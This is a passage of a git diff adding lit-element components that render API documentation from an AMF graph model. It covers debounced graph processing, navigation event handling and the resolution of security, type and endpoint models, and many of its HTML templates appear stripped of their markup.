+ `; + } + + /** + * @param {ApiOperation} operation The graph id of the operation. + * @returns {TemplateResult} The template for the API operation. + */ + [operationTemplate](operation) { + const { serverId } = this; + return html``; + } +} diff --git a/src/elements/ApiDocumentationBase.d.ts b/src/elements/ApiDocumentationBase.d.ts new file mode 100644 index 0000000..487ce1c --- /dev/null +++ b/src/elements/ApiDocumentationBase.d.ts @@ -0,0 +1,125 @@ +import { LitElement, TemplateResult } from 'lit-element'; +import { AmfHelperMixin, AmfSerializer, DomainElement, ApiParameter, ApiCustomDomainProperty, ApiExample } from '@api-components/amf-helper-mixin'; +import { SchemaExample } from '@api-components/api-schema'; + +export declare const sectionToggleClickHandler: unique symbol; +export declare const processDebounce: unique symbol; +export declare const queryDebounce: unique symbol; +export declare const debounceValue: unique symbol; +export declare const domainIdValue: unique symbol; +export declare const serializerValue: unique symbol; +export declare const domainModelValue: unique symbol; +export declare const sectionToggleTemplate: unique symbol; +export declare const paramsSectionTemplate: unique symbol; +export declare const schemaItemTemplate: unique symbol; +export declare const descriptionTemplate: unique symbol; +export declare const customDomainPropertiesTemplate: unique symbol; +export declare const examplesTemplate: unique symbol; +export declare const exampleTemplate: unique symbol; +export declare const examplesValue: unique symbol; +export declare const evaluateExamples: unique symbol; +export declare const evaluateExample: unique symbol; + +/** + * A base class for the documentation components with common templates and functions. + */ +export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { + /** + * The domain id of the object to render. + * @attribute + */ + domainId: string; + /** + * Enabled compatibility with the Anypoint platform. + * @attribute + */ + anypoint: boolean; + /** + * The timeout after which the `queryGraph()` function is called + * in the debouncer. + */ + queryDebouncerTimeout: number; + [serializerValue]: AmfSerializer; + + /** + * The domain object read from the AMF graph model. + */ + domainModel: DomainElement|undefined; + [domainModelValue]: DomainElement|undefined; + + [examplesValue]: SchemaExample[]; + + constructor(); + + connectedCallback(): void; + + /** + * Calls the `queryGraph()` function in a debouncer. + */ + [processDebounce](): void; + + /** + * Calls the `queryGraph()` function in a debouncer. + */ + [queryDebounce](): void; + + /** + * The main function to use to process the AMF model. + * To be implemented by the child classes. + */ + processGraph(): Promise; + + /** + * A handler for the section toggle button click. + */ + [sectionToggleClickHandler](e: Event): void; + + /** + * @param examples The list of examples to evaluate + * @param mediaType The media type to use with examples processing. + */ + [evaluateExamples](examples: ApiExample[], mediaType: string): SchemaExample[]; + + /** + * @param example The example to evaluate + * @param mediaType The media type to use with examples processing. + */ + [evaluateExample](example: ApiExample, mediaType: string): SchemaExample; + + /** + * @return The template for the section toggle button + */ + [sectionToggleTemplate](ctrlProperty: string): TemplateResult; + /** + * @param label The section label. + * @param openedProperty The name of the element property to be toggled when interacting with the toggle button. + * @param content The content to render. + * @returns The template for a toggle section with a content. + */ + [paramsSectionTemplate](label: string, openedProperty: string, content: TemplateResult | TemplateResult[]): TemplateResult; + /** + * @param model The parameter to render. + * @param dataName Optional data-name for this parameter + * @return The template for the schema item document + */ + [schemaItemTemplate](model: ApiParameter, dataName?: string): TemplateResult; + /** + * @param description The description to render. + * @returns The template for the markdown description. + */ + [descriptionTemplate](description: string): TemplateResult|string; + /** + * @param customDomainProperties + * @returns The template for the custom domain properties + */ + [customDomainPropertiesTemplate](customDomainProperties: ApiCustomDomainProperty[]): TemplateResult|string; + /** + * @returns The template for the examples section. + */ + [examplesTemplate](): TemplateResult|string; + + /** + * @returns The template for a single example + */ + [exampleTemplate](item: SchemaExample): TemplateResult|string; +} diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js new file mode 100644 index 0000000..6f1f25b --- /dev/null +++ b/src/elements/ApiDocumentationBase.js @@ -0,0 +1,362 @@ +/* eslint-disable lit-a11y/click-events-have-key-events */ +/* eslint-disable class-methods-use-this */ +import { LitElement, html } from 'lit-element'; +import { classMap } from 'lit-html/directives/class-map.js'; +import { ifDefined } from 'lit-html/directives/if-defined.js'; +import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin'; +import { ApiExampleGenerator } from '@api-components/api-schema'; +import '@anypoint-web-components/anypoint-button/anypoint-button.js'; +import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js'; +import '@advanced-rest-client/arc-icons/arc-icon.js'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import '../../api-annotation-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiCustomDomainProperty} ApiCustomDomainProperty */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */ +/** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */ + +export const sectionToggleClickHandler = Symbol('sectionToggleClickHandler'); +export const processDebounce = Symbol('queryDebounce'); +export const debounceValue = Symbol('debounceValue'); +export const domainIdValue = Symbol('domainIdValue'); +export const domainModelValue = Symbol('domainModelValue'); +export const serializerValue = Symbol('domainIdValue'); +export const clickHandler = Symbol('clickHandler'); +export const descriptionTemplate = Symbol('descriptionTemplate'); +export const sectionToggleTemplate = Symbol('sectionToggleTemplate'); +export const paramsSectionTemplate = Symbol('paramsSectionTemplate'); +export const schemaItemTemplate = Symbol('schemaItemTemplate'); +export const customDomainPropertiesTemplate = Symbol('customDomainPropertiesTemplate'); +export const examplesTemplate = Symbol('examplesTemplate'); +export const exampleTemplate = Symbol('exampleTemplate'); +export const examplesValue = Symbol('examplesValue'); +export const evaluateExamples = Symbol('evaluateExamples'); +export const evaluateExample = Symbol('evaluateExample'); + +/** + * A base class for the documentation components with common templates and functions. + */ +export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { + /** + * @returns {string|undefined} The domain id of the object to render. + */ + get domainId() { + return this[domainIdValue]; + } + + /** + * @returns {string|undefined} The domain id of the object to render. + */ + set domainId(value) { + const old = this[domainIdValue]; + if (old === value) { + return; + } + this[domainIdValue] = value; + this.requestUpdate('domainId', old); + if (value) { + this[processDebounce](); + } + } + + /** + * @returns {DomainElement|undefined} The domain object read from the AMF graph model. + */ + get domainModel() { + return this[domainModelValue]; + } + + /** + * @returns {DomainElement|undefined} The domain object read from the AMF graph model. + */ + set domainModel(value) { + const old = this[domainModelValue]; + if (old === value) { + return; + } + this[domainModelValue] = value; + this.requestUpdate('domainModel', old); + if (value) { + this[processDebounce](); + } + } + + static get properties() { + return { + /** + * The domain id of the object to render. + */ + domainId: { type: String, reflect: true }, + /** + * Enabled compatibility with the Anypoint platform. + */ + anypoint: { type: Boolean, reflect: true }, + }; + } + + constructor() { + super(); + /** + * The timeout after which the `queryGraph()` function is called + * in the debouncer. + */ + this.queryDebouncerTimeout = 2; + /** @type {boolean} */ + this.anypoint = undefined; + /** + * @type {SchemaExample[]} + */ + this[examplesValue] = undefined; + this[serializerValue] = new AmfSerializer(); + } + + /** + * @param {AmfDocument} amf + */ + __amfChanged(amf) { + this[serializerValue].amf = amf; + this[processDebounce](); + } + + connectedCallback() { + super.connectedCallback(); + if (this.domainId) { + this[processDebounce](); + } + } + + disconnectedCallback() { + super.disconnectedCallback(); + if (this[debounceValue]) { + clearTimeout(this[debounceValue]); + this[debounceValue] = undefined; + } + } + + /** + * Calls the `queryGraph()` function in a debouncer. + */ + [processDebounce]() { + if (this[debounceValue]) { + clearTimeout(this[debounceValue]); + } + this[debounceValue] = setTimeout(() => { + this[debounceValue] = undefined; + this.processGraph(); + }, this.queryDebouncerTimeout); + } + + /** + * The main function to use to process the AMF model. + * To be implemented by the child classes. + */ + processGraph() { + // ... + } + + /** + * At current state there's no way to tell where to navigate when relative + * link is clicked. To prevent 404 anchors this prevents any relative link click. + * @param {Event} e + */ + [clickHandler](e) { + const node = /** @type HTMLElement */ (e.target); + if (node.localName !== 'a') { + return; + } + // target.href is always absolute, need attribute value to test for + // relative links. + const href = node.getAttribute('href'); + if (!href) { + e.preventDefault(); + e.stopPropagation(); + return; + } + const ch0 = href[0]; + if (['.', '/'].indexOf(ch0) !== -1) { + e.preventDefault(); + e.stopPropagation(); + } + } + + /** + * A handler for the section toggle button click. + * @param {Event} e + */ + [sectionToggleClickHandler](e) { + const button = /** @type HTMLElement */ (e.currentTarget); + const { ctrlProperty } = button.dataset; + if (!ctrlProperty) { + return; + } + this[ctrlProperty] = !this[ctrlProperty]; + } + + /** + * @param {ApiExample[]} examples The list of examples to evaluate + * @param {string} mediaType The media type to use with examples processing. + * @returns {SchemaExample[]} + */ + [evaluateExamples](examples, mediaType) { + return examples.map((example) => this[evaluateExample](example, mediaType)) + } + + /** + * @param {ApiExample} example The example to evaluate + * @param {string} mediaType The media type to use with examples processing. + * @returns {SchemaExample} + */ + [evaluateExample](example, mediaType) { + let value; + if (mediaType) { + const generator = new ApiExampleGenerator(); + value = generator.read(example, mediaType); + } else { + value = example.value || ''; + } + const { name, displayName } = example; + const label = displayName || name; + const result = /** @type SchemaExample */ ({ + ...example, + renderValue: value, + }); + if (label && !label.startsWith('example_')) { + result.label = label; + } + return result; + } + + /** + * @param {string} ctrlProperty + * @return {TemplateResult|string} The template for the section toggle button + */ + [sectionToggleTemplate](ctrlProperty) { + const label = this[ctrlProperty] ? 'Hide' : 'Show'; + return html` + + ${label} + + `; + } + + /** + * @param {string} label The section label. + * @param {string} openedProperty The name of the element property to be toggled when interacting with the toggle button. + * @param {TemplateResult|TemplateResult[]} content The content to render. + * @returns {TemplateResult} The template for a toggle section with a content. + */ + [paramsSectionTemplate](label, openedProperty, content) { + const opened = this[openedProperty]; + const classes = { + 'params-title': true, + opened, + }; + return html` +
+
+ ${label} + ${this[sectionToggleTemplate](openedProperty)} +
+ + ${content} + +
+ `; + } + + /** + * @param {ApiParameter} model The parameter to render. + * @param {string=} dataName Optional data-name for this parameter + * @return {TemplateResult} The template for the schema item document + */ + [schemaItemTemplate](model, dataName) { + return html` + + `; + } + + /** + * @param {string=} description The description to render. + * @returns {TemplateResult|string} The template for the markdown description. + */ + [descriptionTemplate](description) { + if (!description) { + return ''; + } + return html` +
+ +
+
+
`; + } + + /** + * @param {ApiCustomDomainProperty[]} customDomainProperties + * @returns {TemplateResult|string} The template for the custom domain properties + */ + [customDomainPropertiesTemplate](customDomainProperties=[]) { + if (!customDomainProperties.length) { + return ''; + } + return html` + + `; + } + + /** + * @returns {TemplateResult|string} The template for the examples section. + */ + [examplesTemplate]() { + const examples = this[examplesValue]; + if (!Array.isArray(examples)) { + return ''; + } + const filtered = examples.filter((item) => !!item.renderValue); + if (!filtered.length) { + return ''; + } + return html` +
+ ${filtered.map((item) => this[exampleTemplate](item))} +
+ `; + } + + /** + * @param {SchemaExample} item + * @returns {TemplateResult|string} The template for a single example + */ + [exampleTemplate](item) { + const { description, renderValue, label } = item; + return html` +
+ Example${label ? `: ${label}` : ''} +
+ ${description ? html`
${description}
` : ''} +
${renderValue}
+
+
+ `; + } +} diff --git a/src/elements/ApiDocumentationDocumentElement.d.ts b/src/elements/ApiDocumentationDocumentElement.d.ts new file mode 100644 index 0000000..1d0dd92 --- /dev/null +++ b/src/elements/ApiDocumentationDocumentElement.d.ts @@ -0,0 +1,36 @@ +import { TemplateResult } from 'lit-element'; +import { ApiDocumentation, CreativeWork } from '@api-components/amf-helper-mixin'; +import { ApiDocumentationBase } from './ApiDocumentationBase'; + +export const documentationValue: unique symbol; +export const titleTemplate: unique symbol; +export const setModel: unique symbol; + +/** + * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from + * the AMF graph model. + */ +export default class ApiDocumentationDocumentElement extends ApiDocumentationBase { + /** + * @returns The serialized to a JS object graph model + */ + get model(): ApiDocumentation|undefined; + + [documentationValue]: ApiDocumentation; + constructor(); + domainModel: CreativeWork; + + /** + * Queries the graph store for the API Documentation data. + */ + processGraph(): Promise; + + [setModel](model: CreativeWork): void; + + render(): TemplateResult; + + /** + * @returns The template for the Documentation title. + */ + [titleTemplate](): TemplateResult; +} diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js new file mode 100644 index 0000000..b503695 --- /dev/null +++ b/src/elements/ApiDocumentationDocumentElement.js @@ -0,0 +1,100 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { Styles as HttpStyles } from '@api-components/http-method-label'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import elementStyles from './styles/ApiDocumentationDocument.js'; +import commonStyles from './styles/Common.js'; +import { ApiDocumentationBase, descriptionTemplate, serializerValue } from './ApiDocumentationBase.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ +/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */ + +export const documentationValue = Symbol('documentationValue'); +export const titleTemplate = Symbol('titleTemplate'); +export const setModel = Symbol('setModel'); + +/** + * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from + * the AMF graph model. + */ +export default class ApiDocumentationDocumentElement extends ApiDocumentationBase { + get styles() { + return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles]; + } + + /** + * @returns {ApiDocumentation|undefined} The serialized to a JS object graph model + */ + get model() { + return this[documentationValue]; + } + + constructor() { + super(); + /** @type {ApiDocumentation} */ + this[documentationValue] = undefined; + /** @type {CreativeWork} */ + this.domainModel = undefined; + } + + /** + * Queries the graph store for the API Documentation data. + * @returns {Promise} + */ + async processGraph() { + const { domainId, domainModel, amf } = this; + if (domainModel) { + this[setModel](domainModel); + return; + } + if (!domainId) { + this[setModel](); + return; + } + const webApi = this._computeApi(amf); + const model = this._computeDocument(webApi, domainId); + this[setModel](model); + } + + /** + * @param {CreativeWork=} model + */ + [setModel](model) { + if (model) { + this[documentationValue] = this[serializerValue].documentation(model); + } else { + this[documentationValue] = undefined; + } + this.requestUpdate(); + } + + render() { + if (!this[documentationValue]) { + return html``; + } + return html` + + ${this[titleTemplate]()} + ${this[descriptionTemplate](this[documentationValue].description)} + `; + } + + /** + * @returns {TemplateResult|string} The template for the Documentation title. + */ + [titleTemplate]() { + const docs = this[documentationValue]; + const { title } = docs; + if (!title) { + return ''; + } + return html` +
+
+ ${title} +
+
+ `; + } +} diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js new file mode 100644 index 0000000..3814be7 --- /dev/null +++ b/src/elements/ApiDocumentationElement.js @@ -0,0 +1,807 @@ +/* eslint-disable no-param-reassign */ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import '@api-components/api-server-selector/api-server-selector.js' +import elementStyles from './styles/ApiDocumentation.js'; +import { + ApiDocumentationBase, + serializerValue, + processDebounce, +} from './ApiDocumentationBase.js'; +import '../../api-summary.js' +import '../../api-operation-document.js' +import '../../api-resource-document.js'; +import '../../api-security-document.js'; +import '../../api-documentation-document.js'; +import '../../api-schema-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSummary} ApiSummary */ +/** @typedef {import('@api-components/api-server-selector').ServerType} ServerType */ + +export const operationIdValue = Symbol('operationIdValue'); +export const domainTypeValue = Symbol('domainTypeValue'); +export const navigationHandler = Symbol('navigationHandler'); +export const navEventsRegistered = Symbol('navEventsRegistered'); +export const registerNavigationEvents = Symbol('registerNavigationEvents'); +export const unregisterNavigationEvents = Symbol('unregisterNavigationEvents'); +export const handleNavigationEventsValue = Symbol('handleNavigationEventsValue'); +export const processApiSpecSelection = Symbol('processApiSpecSelection'); +export const isLibrary = Symbol('isLibrary'); +export const processLibrarySelection = Symbol('processLibrarySelection'); +export const computeDeclById = Symbol('computeDeclById'); +export const renderedViewValue = Symbol('renderedViewValue'); +export const renderedModelValue = Symbol('renderedModelValue'); +export const computeSecurityApiModel = Symbol('computeSecurityApiModel'); +export const computeReferenceSecurity = Symbol('computeReferenceSecurity'); +export const computeTypeApiModel = Symbol('computeTypeApiModel'); +export const computeDocsApiModel = Symbol('computeDocsApiModel'); +export const computeResourceApiModel = Symbol('computeEndpointApiModel'); +export const computeEndpointApiMethodModel = Symbol('computeEndpointApiMethodModel'); +export const computeMethodApiModel = Symbol('computeMethodApiModel'); +export const processFragment = Symbol('processFragment'); +export const processPartial = Symbol('processPartial'); +export const processEndpointPartial = Symbol('processEndpointPartial'); +export const endpointValue = Symbol('endpointValue'); +export const apiSummaryValue = Symbol('apiSummaryValue'); +export const serverSelectorTemplate = Symbol('serverSelectorTemplate'); +export const serversCountHandler = Symbol('serversCountHandler'); +export const serverChangeHandler = Symbol('serverChangeHandler'); +export const modelTemplate = Symbol('modelTemplate'); +export const summaryTemplate = Symbol('summaryTemplate'); +export const securityTemplate = Symbol('securityTemplate'); +export const documentationTemplate = Symbol('documentationTemplate'); +export const schemaTemplate = Symbol('schemaTemplate'); +export const resourceTemplate = Symbol('resourceTemplate'); + +/** + * A main documentation view for an AMF model representing a sync or an async API. + * + * This element works with the [AMF](https://github.com/mulesoft/amf) data model. + */ +export default class ApiDocumentationElement extends ApiDocumentationBase { + get styles() { + return elementStyles; + } + + static get properties() { + return { + /** + * Type of the selected domain item. + * One of `documentation`, `type`, `security`, `endpoint`, `method`, + * or `summary`. + */ + domainType: { type: String }, + /** + * The domain id of the currently rendered API operation. + * When selecting an operation the `domainId` is the id if the parent endpoint. + */ + operationId: { type: String }, + /** + * By default application hosting the element must set `domainId` and + * `domainType` properties. When using `api-navigation` element + * by setting this property the element listens for navigation events + * and updates the state + */ + handleNavigationEvents: { type: Boolean }, + /** + * A property to set to override AMF's model base URI information. + */ + baseUri: { type: String }, + /** + * When set it renders the "try it" button that dispatches the `tryit` event. + */ + tryItButton: { type: Boolean, reflect: true }, + /** + * When set it renders the "try it" panel next to the operation documentation. + * Setting this automatically disables the `tryItButton` property. + * + * Note, use this only when there's enough space on the screen to render 2 panels side-by-side. + */ + tryItPanel: { type: Boolean, reflect: true }, + /** + * OAuth2 redirect URI. + * This value **must** be set in order for OAuth 1/2 to work properly. + * This is only required in inline mode (`inlineMethods`). + */ + redirectUri: { type: String }, + /** + * When set it renders the URL input above the URL parameters in the HTTP editor. + */ + httpUrlEditor: { type: Boolean, reflect: true }, + /** + * When set it applies the authorization values to the request dispatched + * with the API request event. + * If possible, it applies the authorization values to query parameter or headers + * depending on the configuration. + * + * When the values arr applied to the request the authorization config is kept in the + * request object, but its `enabled` state is always `false`, meaning other potential + * processors should ignore this values. + * + * If this property is not set then the application hosting this component should + * process the authorization data and apply them to the request. + */ + httpApplyAuthorization: { type: Boolean, reflect: true }, + /** + * List of credentials source passed to the HTTP editor + */ + httpCredentialsSource: { type: Array }, + /** + * Optional property to set on the request editor. + * When true, the server selector is not rendered + */ + httpNoServerSelector: { type: Boolean }, + /** + * When set it renders "add custom" item button in the HTTP request editor. + * If the element is to be used without AMF model this should always + * be enabled. Otherwise users won't be able to add a parameter. + */ + httpAllowCustom: { type: Boolean }, + /** + * Optional property to set on the request editor. + * If true, the server selector custom base URI option is rendered + */ + httpAllowCustomBaseUri: { type: Boolean }, + /** + * The URI of the server currently selected in the server selector + */ + serverValue: { type: String }, + /** + * The type of the server currently selected in the server selector + */ + serverType: { type: String }, + }; + } + + /** + * @returns {string|undefined} The domain id of the object to render. + */ + get domainType() { + return this[domainTypeValue]; + } + + /** + * @returns {string|undefined} The domain id of the object to render. + */ + set domainType(value) { + const old = this[domainTypeValue]; + if (old === value) { + return; + } + this[domainTypeValue] = value; + this.requestUpdate('domainType', old); + if (value) { + this[processDebounce](); + } + } + + /** + * @returns {string|undefined} The domain id of the object to render. + */ + get operationId() { + return this[operationIdValue]; + } + + /** + * @returns {string|undefined} The domain id of the object to render. + */ + set operationId(value) { + const old = this[operationIdValue]; + if (old === value) { + return; + } + this[operationIdValue] = value; + this.requestUpdate('operationId', old); + if (value) { + this[processDebounce](); + } + } + + /** @returns {boolean} */ + get handleNavigationEvents() { + return this[handleNavigationEventsValue]; + } + + /** @param {boolean} value */ + set handleNavigationEvents(value) { + const old = this[handleNavigationEventsValue]; + if (old === value) { + return; + } + this[handleNavigationEventsValue] = value; + if (value) { + this[registerNavigationEvents](); + } else { + this[unregisterNavigationEvents](); + } + } + + /** + * Former `effectiveBaseUri`. + * @returns {string|undefined} The URI for the API defined by the `baseUri` property or the `serverValue`. + */ + get apiBaseUri() { + const { baseUri, serverValue } = this; + return baseUri || serverValue; + } + + /** + * @deprecated Use `apiBaseUri` instead. + */ + get effectiveBaseUri() { + return this.apiBaseUri; + } + + /** @returns {string} The domain type of the rendered view. */ + get renderedView() { + return this[renderedViewValue]; + } + + /** @returns {any} The domain model rendered in the view. */ + get renderedModel() { + return this[renderedModelValue]; + } + + /** @returns {boolean} */ + get renderSelector() { + const { domainType, serversCount, httpAllowCustomBaseUri } = this; + const isMethodOrEndpoint = !!domainType && (['method', 'endpoint'].includes(domainType)); + const moreThanOneServer = serversCount >= 2; + if (isMethodOrEndpoint) { + return httpAllowCustomBaseUri || moreThanOneServer; + } + return false; + } + + constructor() { + super(); + /** @type {string} */ + this.domainType = undefined; + /** @type {string} */ + this.operationId = undefined; + /** @type {string} */ + this.baseUri = undefined; + /** @type {boolean} */ + this.tryItButton = undefined; + /** @type {boolean} */ + this.tryItPanel = undefined; + /** @type {boolean} */ + this.httpUrlEditor = undefined; + /** @type {boolean} */ + this.httpNoServerSelector = undefined; + /** @type {boolean} */ + this.httpAllowCustomBaseUri = undefined; + /** @type {boolean} */ + this.httpAllowCustom = undefined; + /** @type {string} */ + this.redirectUri = undefined; + /** @type {ServerType} */ + this.serverType = undefined; + /** @type {string} */ + this.serverValue = undefined; + /** @type {number} */ + this.serversCount = undefined; + /** @type {boolean} */ + this.httpApplyAuthorization = undefined; + this.httpCredentialsSource = undefined; + /** @type {EndPoint} */ + this[endpointValue] = undefined; + /** @type {ApiSummary} */ + this[apiSummaryValue] = undefined; + + this[navigationHandler] = this[navigationHandler].bind(this); + this[navEventsRegistered] = false; + } + + disconnectedCallback() { + super.disconnectedCallback(); + if (this[navEventsRegistered]) { + this[unregisterNavigationEvents](); + } + } + + /** + * Registers `api-navigation-selection-changed` event listener handler + * on window object. + */ + [registerNavigationEvents]() { + this[navEventsRegistered] = true; + window.addEventListener('api-navigation-selection-changed', this[navigationHandler]); + } + + /** + * Removes event listener from window object for `api-navigation-selection-changed` event. + */ + [unregisterNavigationEvents]() { + this[navEventsRegistered] = false; + window.removeEventListener('api-navigation-selection-changed', this[navigationHandler]); + } + + /** + * Handler for `api-navigation-selection-changed` event. + * + * Note, when the current type is set to `method` then the `operationId` is + * set instead of `domainId`, which is set to the parent endpoint id. + * + * @param {CustomEvent} e + */ + [navigationHandler](e) { + const { selected, type, endpointId, passive } = e.detail; + if (passive === true) { + return; + } + this.domainType = type; + if (type === 'method') { + this.operationId = selected; + this.domainId = endpointId; + } else { + this.operationId = undefined; + this.domainId = selected; + } + this.processGraph(); + } + + /** + * @returns {Promise} + */ + async processGraph() { + this[apiSummaryValue] = undefined; + let { amf } = this; + if (!amf) { + return; + } + if (Array.isArray(amf)) { + [amf] = amf; + } + const api = this._computeApi(amf); + if (api) { + const summary = this[serializerValue].apiSummary(api); + this[apiSummaryValue] = summary; + this[processApiSpecSelection](amf); + return; + } + if (this[isLibrary](amf)) { + this[processLibrarySelection](amf); + return; + } + if (this._hasType(amf, this.ns.aml.vocabularies.security.SecuritySchemeFragment)) { + this[processFragment](amf, 'security'); + return; + } + if (this._hasType(amf, this.ns.aml.vocabularies.apiContract.UserDocumentationFragment)) { + this[processFragment](amf, 'documentation'); + return; + } + if (this._hasType(amf, this.ns.aml.vocabularies.shapes.DataTypeFragment)) { + this[processFragment](amf, 'type'); + return; + } + if (this._hasType(amf, this.ns.aml.vocabularies.core.CreativeWork)) { + this[processPartial](amf, 'documentation'); + return; + } + if (this._hasType(amf, this.ns.aml.vocabularies.security.SecurityScheme)) { + this[processPartial](amf, 'security'); + return; + } + if (this._hasType(amf, this.ns.aml.vocabularies.apiContract.EndPoint)) { + this[processEndpointPartial](amf); + return; + } + if (this._hasType(amf, this.ns.w3.shacl.Shape) || this._hasType(amf, this.ns.aml.vocabularies.document.DomainElement)) { + this[processPartial](amf, 'type'); + } + } + + /** + * Processes selection for the web API data model. It ignores the input if + * `domainId` or `domainType` is not set. + * + * @param {AmfDocument} model WebApi AMF model. Do not use an array here. + */ + [processApiSpecSelection](model) { + const { domainId, tryItPanel } = this; + let { domainType } = this; + if (!domainId || !domainType) { + // Not all required properties were set. + return; + } + let result; + switch (domainType) { + case 'summary': result = model; break; + case 'security': result = this[computeSecurityApiModel](model, domainId); break; + case 'type': result = this[computeTypeApiModel](model, domainId); break; + case 'documentation': result = this[computeDocsApiModel](model, domainId); break; + case 'endpoint': + result = this[computeResourceApiModel](model, domainId); + break; + case 'method': + if (tryItPanel) { + domainType = 'endpoint'; + result = this[computeEndpointApiMethodModel](model, domainId); + } else { + result = this[computeMethodApiModel](model, domainId); + this[endpointValue] = this[computeEndpointApiMethodModel](model, domainId); + } + break; + default: + return; + } + this[renderedModelValue] = result; + this[renderedViewValue] = domainType; + this.requestUpdate(); + } + + /** + * Processes selection for a library data model. It ignores the input if + * `domainId` or `domainType` is not set. + * @param {AmfDocument} model Library AMF model. Do not use an array here. + */ + [processLibrarySelection](model) { + const { domainId, domainType } = this; + if (!domainId || !domainType) { + // Not all required properties were set. + return; + } + let result; + switch (domainType) { + case 'security': + case 'type': + result = this[computeDeclById](model, domainId); + break; + default: + result = model; + return; + } + this[renderedModelValue] = result; + this[renderedViewValue] = domainType; + this.requestUpdate(); + } + + /** + * Processes fragment model and sets current selection and the model. + * + * @param {AmfDocument} model RAML fragment model + * @param {string} domainType The selected domain type. + */ + [processFragment](model, domainType) { + const result = this._computeEncodes(model); + this[renderedModelValue] = result; + this[renderedViewValue] = domainType; + this.requestUpdate(); + } + + /** + * Sets the partial model to be rendered. + * + * @param {AmfDocument} model RAML partial model + * @param {string} domainType The domain type representing the partial model. + */ + [processPartial](model, domainType) { + this[renderedModelValue] = model; + this[renderedViewValue] = domainType; + this.requestUpdate(); + } + + /** + * Processes endpoint data from partial model definition. + * It sets models that are used by the docs. + * + * If `selected` or `selectedType` is not set then it automatically selects + * an endpoint. + * @param {DomainElement} model Partial model for endpoints + */ + [processEndpointPartial](model) { + const { tryItPanel } = this; + let { domainType } = this; + if (!domainType || tryItPanel) { + domainType = 'endpoint'; + } + if (!['method', 'endpoint'].includes(domainType)) { + domainType = 'endpoint'; + } + this[endpointValue] = model; + this[renderedModelValue] = model; + this[renderedViewValue] = domainType; + this.requestUpdate(); + } + + /** + * Tests if `model` is of a RAML library model. + * @param {AmfDocument} model A shape to test + * @returns {boolean} true when the presented model is a library. + */ + [isLibrary](model) { + if (!model) { + return false; + } + let doc = model; + if (Array.isArray(doc)) { + [doc] = doc; + } + if (!doc['@type']) { + return false; + } + const moduleKey = this._getAmfKey(this.ns.aml.vocabularies.document.Module); + return moduleKey === doc['@type'][0]; + } + + /** + * Computes model of a shape defined in `declares` list + * @param {AmfDocument} model AMF model + * @param {string} domainId Current selection + * @returns {any|undefined} + */ + [computeDeclById](model, domainId) { + const declares = this._computeDeclares(model); + if (!declares) { + return undefined; + } + let selectedDeclaration = this._findById(declares, domainId) + if (!selectedDeclaration) { + const references = this._computeReferences(model); + if (references) { + const declarationsInRef = references.map((r) => this._computeDeclares(r)).flat(); + selectedDeclaration = this._findById(declarationsInRef, domainId); + } + } + return selectedDeclaration; + } + + /** + * Computes security scheme definition model from web API and current selection. + * It looks for the definition in both `declares` and `references` properties. + * Returned value is already resolved AMF model (references are resolved). + * + * @param {AmfDocument} model WebApi AMF model. Do not use an array here. + * @param {string} domainId Currently selected `@id`. + * @returns {DomainElement|undefined} Model definition for the security scheme. + */ + [computeSecurityApiModel](model, domainId) { + const declares = this._computeDeclares(model); + if (declares) { + const result = declares.find((item) => item['@id'] === domainId); + if (result) { + return this._resolve(result); + } + } + const references = this._computeReferences(model); + if (Array.isArray(references) && references.length) { + for (const reference of references) { + if (this._hasType(reference, this.ns.aml.vocabularies.document.Module)) { + const result = this[computeReferenceSecurity](reference, domainId); + if (result) { + return this._resolve(result); + } + } + } + } + return undefined; + } + + /** + * Computes a security model from a reference (library for example). + * @param {AmfDocument} reference AMF model for a reference to extract the data from + * @param {string} domainId Node ID to look for + * @returns {DomainElement|undefined} Type definition or undefined if not found. + */ + [computeReferenceSecurity](reference, domainId) { + const declare = this._computeDeclares(reference); + if (!declare) { + return undefined; + } + let result = declare.find((item) => { + if (Array.isArray(item)) { + [item] = item; + } + return item['@id'] === domainId; + }); + if (Array.isArray(result)) { + [result] = result; + } + return this._resolve(result); + } + + /** + * Computes type definition model from web API and current selection. + * It looks for the definition in both `declares` and `references` properties. + * Returned value is already resolved AMF model (references are resolved). + * + * @param {AmfDocument} model WebApi AMF model. Do not use an array here. + * @param {string} domainId Currently selected `@id`. + * @returns {DomainElement|undefined} Model definition for a type. + */ + [computeTypeApiModel](model, domainId) { + const declares = this._computeDeclares(model); + const references = this._computeReferences(model); + return this._computeType(declares, references, domainId); + } + + /** + * Computes documentation definition model from web API and current selection. + * + * @param {AmfDocument} model WebApi AMF model. Do not use an array here. + * @param {string} domainId Currently selected `@id`. + * @returns {DomainElement|undefined} Model definition for a documentation fragment. + */ + 